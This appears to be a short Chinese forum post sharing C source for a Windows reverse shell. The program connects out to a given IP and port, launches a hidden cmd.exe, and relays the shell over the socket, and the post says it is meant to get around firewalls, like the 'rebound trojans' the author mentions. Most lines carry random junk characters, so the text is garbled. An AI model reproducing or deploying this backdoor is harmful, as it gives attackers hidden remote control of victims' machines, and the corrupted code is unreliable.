Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 !jl^__ .DR  
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/* ============================== xKL(:ePS  
Rebound port in Windows NT C4E}.``Hm  
By wind,2006/7 <P1nfH  
===============================*/ R5b,/>^'A  
#include M#2<|VUW,  
#include 'exR;q\  
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#pragma comment(lib,"wsock32.lib") 8ZV!ld  
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void OutputShell(); VB/75xK_  
SOCKET sClient; =UO7!vr;[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; I[Bp}6G  
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void main(int argc,char **argv) Z]LP18m9kl  
{ /b{@']  
WSADATA stWsaData; RoHX0   
int nRet; qK;J:GT>  
SOCKADDR_IN stSaiClient,stSaiServer; GKg #nXS  
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if(argc != 3) *RJD^hu  
{ =Cf@!wZ^  
printf("Useage:\n\rRebound DestIP DestPort\n");
 XU"G  
return; Wx/PD=Sf&  
} UBv#z&@[  
H '5zl^8I  
WSAStartup(MAKEWORD(2,2),&stWsaData); g#{7qmM  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dp*:oMATx0  
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stSaiClient.sin_family = AF_INET; T^8`ji  
stSaiClient.sin_port = htons(0); ;(E]mbV'=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1| WDbk  
MIr[_  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Xl$r720ZJr  
{ E\4ZUGy0  
printf("Bind Socket Failed!\n"); ~]%re9jGW  
return; 4%v-)HGh  
} P<1&kUZL  
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stSaiServer.sin_family = AF_INET; (Ms #)E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?aaYka]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]S(nA!]  
}cW8B"_"  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KxmB$x5-=8  
{ \o,et9zDJ3  
printf("Connect Error!"); R90chl  
return;  CU\r I  
} !x-9A  
OutputShell(); @(/$;I,  
} Ei,
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void OutputShell() Xhyc2DKa_  
{ e'|P^G>g  
char szBuff[1024]; FzsW^u+  
SECURITY_ATTRIBUTES stSecurityAttributes; h/aG."U  
OSVERSIONINFO stOsversionInfo; G^P9_Sw]d3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :gkn`z  
STARTUPINFO stStartupInfo; rI
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char *szShell; F9_X^#%L  
PROCESS_INFORMATION stProcessInformation; z5^Se!`5  
unsigned long lBytesRead; a#Z#-y!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); q 3,p=ijJ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); +^,&z}( Ak  
stSecurityAttributes.lpSecurityDescriptor = 0; }i;!p Ue$  
stSecurityAttributes.bInheritHandle = TRUE; i[vN3`*B  
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s
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r_^
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); coXm*X>z  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); k~Y_%#_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /ubGa6N  
stStartupInfo.wShowWindow = SW_HIDE; tpV61L   
stStartupInfo.hStdInput = hReadPipe; @!\l
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )Zyw^KN^  
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GetVersionEx(&stOsversionInfo); pR:cnkVF  
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switch(stOsversionInfo.dwPlatformId) 8 =3#S'n  
{ [HRP&jr  
case 1: Xs4G#QsAJ  
szShell = "command.com"; 2c9]Ja3:6  
break; L
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default: Gnqun%  
szShell = "cmd.exe"; (j)>npOd9  
break; P^/e!%UgC  
} w\a9A#v,  
@:u2{>Yl  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 5)K?:7  
!\Q/~p'jS  
send(sClient,szMsg,77,0); Y,%G5X@S<  
while(1) #0M,g  
{ XR)I,@i`'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); KDAZG+u+  
if(lBytesRead) H?pWyc<,  
{ N;av  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `yb,z  
send(sClient,szBuff,lBytesRead,0); =Rf!i78c5  
} %X\rP,  
else ")qO#b4  
{ 75H5{#)  
lBytesRead=recv(sClient,szBuff,1024,0); 03y
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if(lBytesRead<=0) break; %lK]m`(  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  7w|4BRL
 
} FU(s jB  
} ~gbq^  
pdR&2fp  
return; #kEa&Se  
}